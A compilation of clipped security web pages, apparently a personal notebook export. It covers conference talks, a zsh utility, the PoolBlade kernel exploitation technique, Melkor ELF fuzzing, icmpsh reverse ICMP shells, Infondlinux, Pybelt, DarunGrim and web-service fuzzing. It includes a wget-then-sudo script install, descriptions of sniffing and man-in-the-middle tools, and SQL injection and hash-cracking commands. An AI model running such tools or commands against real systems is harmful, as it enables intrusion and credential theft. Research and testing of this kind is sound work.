"What's Old Is New Again: An Overview of Mobile Application Security" \- Zach Lanier and Mike Zusman | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Into the Rabbit Hole" \- Rafal Los | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Black Berry Security FUD Free" \- Adam Meyers | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Beyond Exploits: Real World Penetration Testing" \- HD Moore | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"The Four Types of Lock" \- Deviant Ollam | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Sniper Forensics v2.0 - Target Acquisition" \- Christopher Pogue | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Web Application Payloads" \- Andrés Pablo Riancho | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Distributed Denial of Service: War Stories from the Cloud Front" \- Michael Smith | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
|  |  |   
<img src='img/Temp2_7319.png' width='352' height='20' alt='IT Security Experts Canada Toronto SecTor - Management Track' /> | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> | <img src='img/Temp2_7320.png' alt='Tools' />  
"Gates, Guards, and Gadgets: An Introduction to the Physical Security of IT" \- Kai Axford | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"SDL Light: A practical Secure Development Lifecycle for the rest of us" \- Marisa Fagan | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Mastering Trust: Hacking People, Networks, Software, and Ideas." \- Pete Herzog | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"How Many Vulnerabilities? And Other Wrong Questions" \- David Mortman | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Smashing the stats for fun and profit v.2010" \- Ben Sapiro | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"400 Apps in 40 Days" \- Sahba Kazerooni and Nish Bhalla | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"How do we prevent, detect, respond and recover from CRM failures?" \- Kelly Walsh | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
|  |  |   
<img src='img/Temp2_7325.png' width='352' height='20' alt='IT Security Experts Canada Toronto SecTor - Turbo Talk Track' /> | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> | <img src='img/Temp2_7320.png' alt='Tools' />  
"Cloud definitions you've been pretending to understand" \- Jack Daniel | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"64-bit Imports Rebuilding and Unpacking" \- Sébastien Doucet | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Building your own secure U3 launchable Windows forensic toolkit" \- Jason Kendall | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Securing your network with open-source technologies and standard protocols: Tips & Tricks" \- Nick Owen | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Fuzzing Proprietary Protocols - A Practical Approach" \- Thomas Pröll | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Barcodes: Read it, Write it, Hack it" \- Michael Smith | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"BLINDELEPHANT: Web Application Fingerprinting with Static Files" \- Patrick Thomas | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"OMG-WTF-PDF" \- Julia Wolf | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
|  |  |   
<img src='img/Temp2_7321.png' width='352' height='20' alt='IT Security Experts Canada Toronto SecTor - Sponsor Talk Track' /> | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> | <img src='img/Temp2_7320.png' alt='Tools' />  
"Microsoft's cloud security strategy" \- Mohammad Akif | <img src='img/Temp2_7318.png' alt='Media File' /> |  |   
"Do it yourself - Security Assessments made easy and FREE" \- John Andreadis | <img src='img/Temp2_7318.png' alt='Media File' /> |  |   
"Crime & Carelessness: Gaps that Enable the Theft of Your Most Sensitive Information" \- Ryan Boudreau | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Unidirectional Connectivity as a Security Enabler for SCADA and Remote Monitoring Applications" \- Lior Frenkel | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Beyond Aurora's Veil: A Vulnerable Tale" \- Derek Manky | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"A Day in the life of APT" \- Adam Meyers | <img src='img/Temp2_7318.png' alt='Media File' /> |  |   
"Realize More Value From Your Existing security Tools" \- Dave Millier | <img src='img/Temp2_7318.png' alt='Media File' /> | <img src='img/Temp2_7324.png' alt='Presentation File' /> |   
"Metasploit Pro - An HD Moore Production" \- HD Moore | <img src='img/Temp2_7318.png' alt='Media File' /> |  |   
"Culture Shift: Social Networking and Enterprise Environments \(Security Risk vs Reward\)" \- John W. Pirc | <img src='img/Temp2_7318.png' alt='Media File' /> |  |   
"Today's Reality: Living in Compromise to Advanced Persistent Threats" \- Charlie Shields | <img src='img/Temp2_7318.png' alt='Media File' /> |  |   
"By The Time You've Finished Reading This Sentence, 'You're Infected'" \- Eldon Sprickerhoff | <img src='img/Temp2_7318.png' alt='Media File' /> |  |   
"Emerging Threats, The Battle for the Access edge" \- Mark Townsend | <img src='img/Temp2_7318.png' alt='Media File' /> |  |   
* * *
**Legend:**  
<img src='img/Temp2_7318.png' alt='Media File' /> Windows Media File  
<img src='img/Temp2_7324.png' alt='Presentation File' /> Microsoft PowerPoint
Presentation  
<img src='img/Temp2_7320.png' alt='Tools' /> Tools

# sjl/z-zsh - GitHub

**Created:**| _9/8/2011 11:31:36 AM_  
---|---  
**Updated:**| _9/8/2011 11:31:36 AM_  
**Author:**| __  
**Tags:**| _zsh_  
  
README

[code]

    z is the new j
    
    First, there was j: http://github.com/rupa/j/.
    
    Then, there was j2: http://github.com/rupa/j2/, with some python added. Made
    it easier to experiment with some stuff I'd been thinking about.
    
    Now there's this, where I rewrote j2 back in bash. I like it. Sorry about all
    the repos , but it kind of grew this way.
    
    The biggest change from j is the use of 'frecency' for weighting. Directories
    that have low ranking but were accesed recently, will quickly have higher rank.
    
    The -r switch preserves the old behavior.
    
    # maintains a jump-list of the directories you actually use
    #
    # INSTALL:
    #   * put something like this in your .zshrc:
    #         . /path/to/z.sh
    #         function precmd () {
    #             z --add "$(pwd -P)"
    #         }
    #   * cd around for a while to build up the db
    #   * PROFIT!!
    #
    # USE:
    #   * z foo     # goes to most frecent dir matching foo
    #   * z foo bar # goes to most frecent dir matching foo and bar
    #   * z -r foo  # goes to highest ranked dir matching foo
    #   * z -t foo  # goes to most recently accessed dir matching foo
    #   * z -l foo  # list all dirs matching foo (by frecency)
[/code]

# PoolBlade

**Created:**| _10/19/2013 7:15:05 AM_  
---|---  
**Updated:**| _10/19/2013 7:17:21 AM_  
**Author:**| _wishi_  
**Tags:**| _Exploit windows kernel awesome_  
  

**Abstract**

In recent years many methods have been discussed regarding exploitation of
pool overflow corruptions. Most of these methods are based on the architecture
of Pool manager in windows. In this paper I am going to discuss a generic
method that is based on kernel objects and not the pool manager and because of
the nature of this technic it is possible to exploit pool overflow
vulnerabilities easier and more reliable. So I Introduce Pool Blade helper
class that let us exploit pool overflow in a very short time by just calling
some interface and triggering the vulnerability. Pool blade and the technic
discussed here is just supported by windows XP/2003/vista but it can be
extended to support more recent windows operating systems.

**Q:** Why Pool blade?

**A:** Because this method is fast and reliable

**Q:** How much reliable?

**A:** By this technic we don’t corrupt anything so the exploit works 100%

**Q** : Fast?

**A:** You have a pool overflow, you can exploit it in 5 minutes by just
knowing size the vulnerable buffer

**Q:** What is the impact?

**A:** Everyone can exploit local pool overflows on windows easily and
reliably to get escalated privilege.

**Q:** What PoolBlade is not?

**A:** It cannot be used to exploit pool overflow on windows 7 and for small
buffer sizes you should find another proper objects. And of course it can be
used only in Non-paged pool.

**Q:** How it can be used?

**A:** You can use the PoolBlade helper class or read the document and
implement more customized version for your own purpose. The method and the
helper class is demonstrated by an antivirus driver vulnerability in the
following research paper .

white-paper :

PoolBlade

exploit-code:

AhnlabV3MedCoreD

video :

  
<img src='img/PoolBlade.pdf' />  
  
  
  

  
<img src='img/AhnlabV3MedCoreD.zip' />  
  

# Reading Mission Control Data out of Predator Drone video feeds

**Created:**| _12/21/2009 5:00:56 PM_  
---|---  
**Updated:**| _12/21/2009 5:01:39 PM_  
**Author:**| __  
**Tags:**| _reversing LOLZ_  
  
<img src='img/Temp2_6779' />

# IOActive Labs Research: ELF Parsing Bugs by Example with Melkor Fuzzer

**Created:**| _11/10/2014 2:29:04 PM_  
---|---  
**Updated:**| _11/10/2014 2:29:04 PM_  
**Author:**| __  
**Tags:**| __  
  

# ELF Parsing Bugs by Example with Melkor Fuzzer

_**By Alejandro Hernandez@nitr0usmx**_  
  
\(Extract from white paper at
http://www.ioactive.com/pdfs/IOActive\_ELF\_Parsing\_with\_Melkor.pdf \)

Too often the development community continues to blindly trust the metadata in
Executable and Linking Format \(ELF\) files. In this paper, Alejandro
Hernández walks you through the testing process for seven applications and
reveals the bugs that he found. He performed the tests using Melkor, a file
format fuzzer he wrote specifically for ELF files.

**Introduction**

The ELF file format, like any other file format, is an array of bits and bytes
interconnected through data structures. When interpreted by an ELF parser, an
ELF file makes sense, depending upon the parsing context: runtime \(execution
view\) or static \(linking view\).

In 1999, ELF was chosen as the standard binary file format for \*NIX systems,
and now, about 15 years later, we are still in many instances blindly trusting
the \(meta\)data within ELF files, either as executable binaries, shared
libraries, or relocation objects.

However, blind trust is not necessary. Fuzzing tools are available to run
proper safety checks for every single untrusted field.

To demonstrate, I tested and found bugs in seven applications using Melkor, a
file format fuzzer specifically for ELF files that I developed:

https://github.com/IOActive/Melkor\_ELF\_Fuzzer

The following were tested:

  * HT Editor 2.1.0
  * GCC \(GNU Compiler\) 4.8.1
  * Snowman Decompiler v0.0.5
  * GDB \(GNU Debugger\) 7.8
  * IDA Pro \(Demo version\) 6.6.140625
  * OpenBSD 5.5 ldconfig
  * OpenBSD 5.5 Kernel

Most, if not all, of these bugs were reported to the vendors or developers.

Almost all, if not all, were only crashes \(invalid memory dereferences\) and
I did not validate whether they’re exploitable security bugs. Therefore,
please do not expect a working command execution exploit at the end of this
white paper.

Melkor is an intuitive and, therefore, easy-to-use fuzzer. To get started, you
simply identify:

  * The kind of metadata you want to fuzz 
  * A valid ELF file to use as a template 
  * The number of desired test cases you want to generate \(malformed ELF files that I call ‘orcs,’ as shown in my Black Hat Arsenal presentation, slides 51 and 52.1
  * The likelihood of each fuzzing rule as a percentage

Options supported by Melkor:

<img src='img/Temp2_4237.jpg' />

For a quiet output, use the switch.

**1\. - Melkor Test of HT Editor 2.1.0**

HT \( http://hte.sourceforge.net\) is my favorite ELF editor. It has parsers
for all internal metadata.

**Test Case Generation**

To start, we’ll fuzz only the ELF header, with a 20% chance of executing each
fuzzing rule, to create 1000 test cases:

$./melkor -H templates/foo -l 20 -n 1000

<img src='img/Temp2_4241.jpg' />

You will find the test cases that are generated in the orcs\_foo directory
along with a detailed report explaining what was fuzzed internally.

**Fuzzing the Parser**

You could perform manually testing by supplying each orc \(test case\) as a
parameter to the HT Editor. However, it would take a long time to test 1000
test cases.

For that reason, Melkor comes with two testing scripts:

  * For Linux, test\_fuzzed.sh 
  * For Windows systems, win\_test\_fuzzed.bat

To test the scripts automatically, enter:

$./test\_fuzzed.sh orcs\_foo/ “ht”

Every time HT Editoropens a valid ELF file, you must press the \[F10\] key to
continue to the next test case.

**The Bug**

After 22 tries, the test case orc\_0023 crashed the HTEditor:

<img src='img/Temp2_4238.jpg' />

The next step is to identify the cause of the crash by reading the detailed
report generated by Melkor:

<img src='img/Temp2_4236.jpg' />

By debugging it with GDB, you would see:

<img src='img/Temp2_4234.jpg' />

Effectively, there is a NULL pointer dereference in the instruction mov
\(%rdi\),%rax.

**2\. - Melkor Test of GCC \(GNU Compiler\) 4.8.1**

I consider the GCC to be the compiler of excellence.

When you type gcc foo.c -o foo, you’re performing all the phases
\(compilation, linking, etc.\); however, if you want only to compile, the is
necessary, as in gcc -c foo.c, to create the ELF relocatable object foo.o.

Normally, relocations and/or symbols tables are an important part of the .o
objects. This is what we are going to fuzz.

**Test Case Generation**

Inside the templates/ folder, a foo.o file is compiled with the same Makefile
to create Melkor, which in turn will be used as a template to create 5000
\(default -n option\) malformed relocatable files. We instruct Melkor to fuzz
the relocations within the file \(\) and the symbol tables \(\) as well:

$./melkor -Rs templates/foo.o

During the fuzzing process, you may see verbose output:

<img src='img/Temp2_4235.jpg' />

**Fuzzing the Parser**

In order to test GCC with every malformed .o object, a command like gcc -o
output malformed.o must be executed. To do so automatically, the following
arguments are supplied to the testing script:

$./test\_fuzzed.sh orcs\_foo.o/ “gcc –o output”

You can observe how mature GCC is and how it properly handles every malformed
struct, field, size, etc.:

<img src='img/Temp2_4240.jpg' />

**The Bug**

Normally, in a Linux system, when a program fails due to memory corruption or
an invalid memory dereference, it writes to STDERR the message: “
_Segmentation fault._ ” As a quick way to identify if we found bugs in the
linker, we can simply look for that message in the output of the testing
script \(the script already redirected the STDERR of each test case to
STDOUT\).

$./test\_fuzzed.sh orcs\_foo.o/ “gcc –o output” | egrep "Testing program|Segmentation fault"
<img src='img/Temp2_4239.jpg' />

Filtering for only those that ended with a “ _Segmentation fault_ ,” I saw
that 197 of 5000 test cases triggered a bug.

**3\. - Melkor Test of the Snowman Decompiler v0.0.5**

Snowman \( http://derevenets.com\) is a great native code to C/C++ decompiler
for Windows. It’s free and supports PE and ELF formats in x86 and x86-64
architectures.

**Test Case Generation**

In the previous example, I could have mentioned that after a period of
testing, I noticed that some applications properly validated all fields in the
initial header and handled the errors. So, in order to fuzz more internal
levels, I implemented the following metadata dependencies in Melkor, which
shouldn’t be broken:

<img src='img/Temp2_4243.jpg' />

With these dependencies, it’s possible to corrupt deeper metadata without
corrupting structures in higher levels. In the previous GCC example, it’s
evident that these dependencies were in place transparently to reach the third
and fourth levels of metadata, symbol tables, and relocation tables
respectively. For more about dependencies in Melkor, see Melkor Documentation:
ELF Metadata Dependencies 2.

Continuing with Snowman, I created only 200 test cases with fuzzed sections in
the Section Header Table \(SHT\), without touching the ELF header, using the
default likelihood of fuzzing rules execution, which is 10%:

$./melkor -S templates/foo -n 200

**Fuzzing the Parser**

Since snowman.exe runs on Windows machines, I then copied the created test
cases to the Windows box where Snowman was loaded and tested each case using
win\_test\_fuzzed.bat as follows:

C:\Users\nitr0us\Downloads>melkor-v1.0\win\_test\_fuzzed.bat
orcs\_foo\_SHT\_snowman\ snowman-v0.0.5-win-x64\snowman.exe

For every opened snowman.exe for which there is no exception, it’s necessary
to close the window with the \[Alt\] + \[F4\] keyboard combination. Sorry for
the inconvenience but I kept the testing scripts as simple as possible.

**The Bug**

I was lucky on testing day. The second orc triggered an unhandled exception
that made Snowman fail:

<img src='img/Temp2_4242.jpg' />

**4\. - Melkor Test of GDB \(GNU Debugger\) 7.8**

GDB, the most used debugger in \*NIX systems, is another great piece of code.

When you type gdb foo, the necessary ELF data structures and other metadata is
parsed and prepared before the debugging process; however, when you execute a
program within GDB, some other metadata is parsed.

**Test Case Generation**

Most applications rely on the SHT to reach more internal metadata; the data
and the code itself, etc. As you likely noticed in the previous example and as
you’ll see now with GDB, malformed SHTs might crash many applications. So, I
created 2000 orcs with fuzzed SHTs:

$./melkor -S templates/foo -n 2000

To see the other examples, GDB, IDA Pro, ldconfig and OpenBSD kernel, please
continue reading the white paper at
http://www.ioactive.com/pdfs/IOActive\_ELF\_Parsing\_with\_Melkor.pdf

**Conclusion**

Clearly, we would be in error if we assumed that ELF files, due to the age of
the format, are free from parsing mistakes; common parsing mistakes are still
found.

It would also be a mistake to assume that parsers are just in the OS kernels,
readelf or objdump. Many new programs support 32 and 64-bit ELF files, and
antivirus engines, debuggers, OS kernels, reverse engineering tools, and even
malware may contain ELF parsers.

I hope you have seen from these examples that fuzzing is a very helpful method
to identify functional \(and security\) bugs in your parsers in an automated
fashion. An attacker could convert a single crash into an exploitable security
bug in certain circumstances or those small crashes could be employed as anti-
reversing or anti-infection techniques.

Feel free to fuzz, crash, fix, and/or report the bugs you find to make better
software.

Happy fuzzing.

Alejandro Hernández

**Acknowledgements**

IOActive, Inc.

**References**

\[1\] Alejandro Hernández. “In the lands of corrupted elves: Breaking ELF
software with Melkor fuzzer.” <
https://www.blackhat.com/docs/us-14/materials/arsenal/us-14-Hernandez-Melkor-
Slides.pdf

\[2\] Melkor Documentation: ELF Metadata Dependencies and Fuzzing Rules. <
https://github.com/IOActive/Melkor\_ELF\_Fuzzer/tree/master/docs>

\[3\] IOActive Security Advisory: OpenBSD 5.5 Local Kernel Panic.<
http://www.ioactive.com/pdfs/IOActive\_Advisory\_OpenBSD\_5\_5\_Local\_Kernel\_Panic.pdf

# Bernardo Damele A. G.: Reverse connection: ICMP shell

**Created:**| _5/2/2011 7:34:45 PM_  
---|---  
**Updated:**| _5/2/2011 7:34:45 PM_  
**Author:**| __  
**Tags:**| _network-security_  
  

### Reverse connection: ICMP shell

**Background**

  

Sometimes, network administrators make the penetration tester's life harder.
Some of them do use firewalls for what they are meant to, surprisingly\!

Allowing traffic only onto known machines, ports and services \(ingress
filtering\) and setting strong egress access control lists is one of these
cases. In such scenarios when you have owned a machine part of the internal
network or the DMZ \(e.g. in a Citrix breakout engagement or similar\), it is
not always trivial to get a reverse shell over TCP, not to consider a bind
shell.

  

However, what about UDP \(commonly a DNS tunnel\) or ICMP as the channel to
get a reverse shell? ICMP is the focus on this post.

  

Surfing the Net I found two handy tools to get a reverse shell over ICMP:

  * soicmp \- Developed in **Python**. Some useful features like the possibility to run soicmp daemon on multiple ethernet interfaces simultaneously handling multiple client connections. Unfortunately it uses **RAW\_SOCKETS** on both client and server. You'll **need the highest system privileges** \(root / administrator\) to successfully run it on both endpoints. This means that you need root privileges onto the target system that you have owned, which might not always be the case. It is **cross-platform**. Also, it looks to me that it is unmaintained as of 2006-10-26.
  * icmpshell \- Developed in **C**. As per soicmp, it uses raw sockets on both the client and server side, therefore **root privileges are required** to use this program. It **works on POSIX systems only** , no support for Windows. Also, it looks to me that it is unmaintained as of 2002-02-06.

**icmpsh**

  

Last year a friend of mine coded a tool called icmpsh. It implements the
reverse ICMP shell concept very well. The main advantage over the other open
source tools is that **it does not require administrative privileges to run
onto the target machine**.

  

I spent some time playing with the tool and was immediately impressed. It is
clean, easy and portable. The **slave \(client\) runs on the target machine**
, it is written in C and works on Windows only whereas the **master \(server\)
can run on any platform** as it has been implemented in C and Perl by Nico. I
ported it to Python too.

  

The reason for the Python port is that I wrapped it into sqlmap too. As of
version 0.9 stable you can either establish the out-of-band connection via
**TCP with Metasploit or via ICMP withicmpsh** \- switch \--os-pwn.

  

**Features**

  * **Open source** software - primarily coded by Nico, forked by me.
  * Client/server architecture.
  * The master is **portable across any platform** that can run either C, Perl or Python code.
  * The target system has to be Windows because the slave runs on that platform only for now.
  * The **user running the slave on the target system does not require administrative privileges**.

**Example**

<img src='img/Temp2_1007.png' />

Running icmpsh slave on target system \(192.168.136.129\) by specifying the
master IP 192.168.136.1

  

<img src='img/Temp2_1009.png' />

Running icmpsh master on attacker machine \(192.168.136.1\) and issuing two

OS commands onto the target system \(192.168.136.129\)

  

<img src='img/Temp2_1008.png' />

Response packet from icmpsh slave containing output of issued command _whoami_

  

The forked tool can be found on my GitHub at
https://github.com/inquisb/icmpsh.

# Infondlinux - Security tools install script for Ubuntu \! ~ THN : The
Hackers News

**Created:**| _4/25/2011 12:43:07 PM_  
---|---  
**Updated:**| _4/25/2011 12:43:07 PM_  
**Author:**| __  
**Tags:**| _security tools Linux_  
  

### Infondlinux - Security tools install script for Ubuntu \!

Posted by The Hacker News on 7:47 AM 0 comments  

If you like this News,then please share This Link...

  

Get Free Updates: _Note : You will find a confirmation link in your inbox or
junk folder_

**Infondlinux** \- Security tools install script for **Ubuntu** \!  

<img src='img/Temp2_4448' width='277' height='320' />

  

infondlinux is a post configuration script for Ubuntu Linux. It installs
useful security tools and firefox addons. Tools installed by script are listed
at the beginning of source code.  
  
**\# download:**  
$ wget http://infondlinux.googlecode.com/svn/trunk/infondlinux.sh  
  
**\# install:**  
$ sudo infondlinux.sh  
  
**Pakages :**  
  

[code]

    # debian packages
    # - imagemagick
    # - vim 
    # - less 
    # - gimp
    # - build-essential 
    # - wipe 
    # - xchat 
    # - pidgin 
    # - vlc 
    # - nautilus-open-terminal
    # - nmap
    # - zenmap
    # - sun-java6-plugin et jre et jdk
    # - bluefish
    # - flash-plugin-nonfree
    # - aircrack-ng
    # - wireshark
    # - ruby
    # - ascii
    # - webhttrack
    # - socat
    # - nasm
    # - w3af
    # - subversion
    # - wireshark
    # - mercurial
    # - libopenssl-ruby
    # - ruby-gnome2
    # - traceroute
    # - filezilla
    # - gnupg
    # - rubygems
    # - php5
    # - libapache2-mod-php5
    # - mysql-server 
    # - php5-mysql
    # - phpmyadmin
    # - extract
    # - p0f
    # - spikeproxy
    # - ettercap
    # - dsniff :
    # * arpspoof - Send out unrequested (and possibly forged) arp replies.
    # * dnsspoof - forge replies to arbitrary DNS address / pointer queries on the Local Area Network.
    # * dsniff - password sniffer for several protocols.
    # * filesnarf - saves selected files sniffed from NFS traffic.
    # * macof - flood the local network with random MAC addresses.
    # * mailsnarf - sniffs mail on the LAN and stores it in mbox format.
    # * msgsnarf - record selected messages from different Instant Messengers.
    # * sshmitm - SSH monkey-in-the-middle. proxies and sniffs SSH traffic.
    # * sshow - SSH traffic analyser.
    # * tcpkill - kills specified in-progress TCP connections.
    # * tcpnice - slow down specified TCP connections via â€œactiveâ€� traffic shaping.
    # * urlsnarf - output selected URLs sniffed from HTTP traffic in CLF.
    # * webmitm - HTTP / HTTPS monkey-in-the-middle. transparently proxies.
    # * webspy - sends URLs sniffed from a client to your local browser
    # - unrar
    # - torsocks
    # - secure-delete
    # - nautilus-gksu
    # - sqlmap
    # - john the ripper
    
    # third party packages
    # - tor
    # - tor-geoipdb
    # - virtualbox 4.0
    # - google-chrome-stable
    
    # manually downloaded softwares and version
    # - DirBuster (1.0RC1)
    # - truecrypt (7.0a)
    # - metasploit framework (3.6)
    # - webscarab (latest)
    # - burp suite (1.3.03)
    # - parosproxy (3.2.13)
    # - jmeter (2.4)
    # - rips (0.35)
    # - origami-pdf (latest)
    # - pdfid.py (0.0.11)
    # - pdf-parser.pym (0.3.7)
    # - fierce (latest)
    # - wifite (latest)
    # - pyloris (3.2)
    # - skipfish (1.86 beta)
    # - hydra (6.2)
    # - Maltego (3.0)
    # - set
    # - volatilty (1.3 beta)
    
    # home made scripts
    # - hextoasm
    # - md5crack.py (written by Corbiero)
    # - chartoascii.py
    # - asciitochar.py
    # - rsa.py
    
    # firefox extensions
    # - livehttpheaders 
    # - firebug 
    # - tamperdata 
    # - noscript 
    # - flashblock 
    # - flashgot 
    # - foxyproxy
    # - certificatepatrol
    # - chickenfoot 1.0.7
[/code]

# Pybelt - The Hackers Tool Belt

**Created:**| _5/20/2017 8:57:35 PM_  
---|---  
**Updated:**| _5/20/2017 9:03:31 PM_  
**Author:**| __  
**Tags:**| _python_  
  

  

# Pybelt - The Hackers Tool Belt

Lydecker Black

on 11:12 AM | Post sponsored by FaradaySEC | Multiuser Pentest Environment
Pybelt is an open source hackers tool belt complete with:

  * A port scanner
  * SQL injection scanner
  * Dork checker
  * Hash cracker
  * Hash type verification tool
  * Proxy finding tool
  * XSS scanner

It is capable of cracking hashes without prior knowledge of the algorithm,
scanning ports on a given host, searching for SQLi vulnerabilities in a given
URL, verifying that your Google dorks work like they should, verifying the
algorithm of a given hash, scanning a URL for XSS vulnerability, and finding
usable HTTP proxies.

  

  

  
**Screenshots**  
SQL Injection scanning made easy, just provide a URL and watch it work

<img src='img/Pybelt.png' width='640' height='312' />

  
Dork checker, have some Dorks you're not sure of? Go ahead and run the Dork
check with the Dork as an argument, it will pull 100 URLs and give you success
rate for the Dork

<img src='img/Pybelt_02.png' width='640' height='354' />

  
Hash cracking made simple, provide the hash type at the end ":md5, :sha256,
etc" for a specific hash, or ":all" for all algorithms available on your
machine

<img src='img/Pybelt_03.png' width='640' height='354' />

  
And many more\!  
  
**Usage**  
  
**Installation**  
You can either clone the repository

[code]

    git clone https://github.com/ekultek/pybelt.git
[/code]

or download the latest release as a zip/tar ball here  
Once you have the program installed cd into the directory and run the
following command:

[code]

    pip install -r requirements.txt
[/code]

This will install all of the programs needed libraries and should be able to
be run from there.  
\#\#\#Functionality

[code]

    python pybelt.py -p 127.0.0.1
[/code]

Will run a port scan on your local host

[code]

    python pybelt.py -s http://example.com/php?id=2
[/code]

Will run a SQLi scan on the given URL

[code]

    python pybelt.py -d idea?id=55
[/code]

Will run a Dork check on the given Google Dork

[code]

    python pybelt.py -c 9a8b1b7eee229046fc2701b228fc2aff:all
[/code]

Will attempt to crack the hash using all algorithms available on the computer

[code]

    python pybelt.py -v 098f6bcd4621d373cade4e832627b4f6
[/code]

Will try to verify the hash type

[code]

    python pybelt.py -f
[/code]

Will find usable proxies

[code]

    python pybelt.py -x http://127.0.0.1/php?id=1
[/code]

Will search the URL for XSS vulnerability  
  
  

**Download Pybelt**

  

# DarunGrim: A Patch Analysis and Binary Diffing Tool And More

**Created:**| _6/20/2010 10:24:22 PM_  
---|---  
**Updated:**| _6/20/2010 10:24:59 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification Exploit reversing analysis
vulnerability programming awesome bin-diffing_  
  

### What is DarunGrim?

DarunGrim is a binary diffing tool. DarunGrim is a free diffing tool which
provides binary diffing functionality.  
Binary diffing is a powerful technique to reverse-engineer patches released by
software vendors like Microsoft. Especially by analyzing security patches you
can dig into the details of the vulnerabilities it's fixing. You can use that
information to learn what causes software break. Also that information can
help you write some protection codes for those specific vulnerabilities. It's
also used to write 1-day exploits by malware writers or security researchers.
<img src='img/Temp2_1964.jpg' width='320' height='216' />  
This binary diffing technique is especially useful for Microsoft binaries. Not
like other vendors they are releasing patch regularly and the patched
vulnerabilities are relatively concentrated in small areas in the code. That
makes the patched part more visible and apparent to the patch analyzers. There
is a "eEye Binary Diffing Suites" released back in 2006 and it's widely used
by security researchers to identify vulnerabilities. Even though it's free and
opensource, it's powerful enough to be used for that vulnerabilities hunting
purpose. Now I'm releasing DarunGrim2 which is a C++ port of original python
codes. DarunGrim2 is way faster than original DarunGrim.  
I also setup a discussion forum for Darungrim. Any feature requests and bug
reportings are welcome.  The source repository is up here:
http://code.google.com/p/darungrim/. We are looking for any good developers or
researchers who want to contribute to the project.Enjoy\!  
---

# Dinis Cruz blog: On Fuzzing WebServices

**Created:**| _5/28/2012 8:23:10 PM_  
---|---  
**Updated:**| _5/28/2012 8:23:10 PM_  
**Author:**| __  
**Tags:**| _web-app-sec Fuzzer fuzzing_  
  

### On Fuzzing WebServices

Since Arvind is now ready to start Fuzzing TeamMentor \(see Fuzzing TM
Webservices…fuzzing anything..?\), here are a couple pointers on how to
approach it.  
  
Fuzzing is the art of sending unexpected stuff to an application and analysing
its result. This is a very important part of making an app resilient since it
\(the app\) should be able to handle unexpected/crazy inputs.  
  
In my view there are 3 key elements that need to be in place when doing a
fuzzing session:  
  

  * Execution environment
  * Fuzz payloads/state
  * Fuzz targets/analysis

  
Lets look at each one in turn:  
  

###  **1\) Execution environment:**

**  
**

Before starting a fuzzing session one must create an environment that will
allow us to create automated fuzz sessions. Here are some of the components
needed \(in this case slightly tweaked for fuzzing TM web-services\):

  

  * Automatically create a clean testing environment/target \(with clean database and some test content\)
  * Detect when the database has been corrupted, and trigger an rebuild \(which in TM means recreating the XML files and/or source-code files\)
  * Ability to invoke the target WebServices \(which is the Pyhton API that Arvind has been creating\)
  * \(ideally\) Ability to run multiple instances of the target server at the same time \(to allow multi-thread requests\)
  * Ability to detect abnormal behaviour on the application: weird responses, requests that take too long, large server CPU spikes, non-expected file access \(maybe outside the TM directory\)
  * Ability to detect when/if the server crashes \(ideally running the target app under a debugger\)
  * Speed-up or slow-down requests in order to find the maximum request load supported by the server \(if you are running a fuzzing session locally you should be able to create more requests than the server can handle it\)

###  **2\) Fuzz payloads/state:**

**  
**

In terms of Fuzzing Payloads a great place to start is the FuzzDB which is a
good base line for fuzzing strings to send to an application.

  

Once we have a way to consume these payloads, the key is to adjust them to the
target methods. Specially the ones that require some state \(i.e. we need to
provide some valid data or the payload never reaches the app\)

  

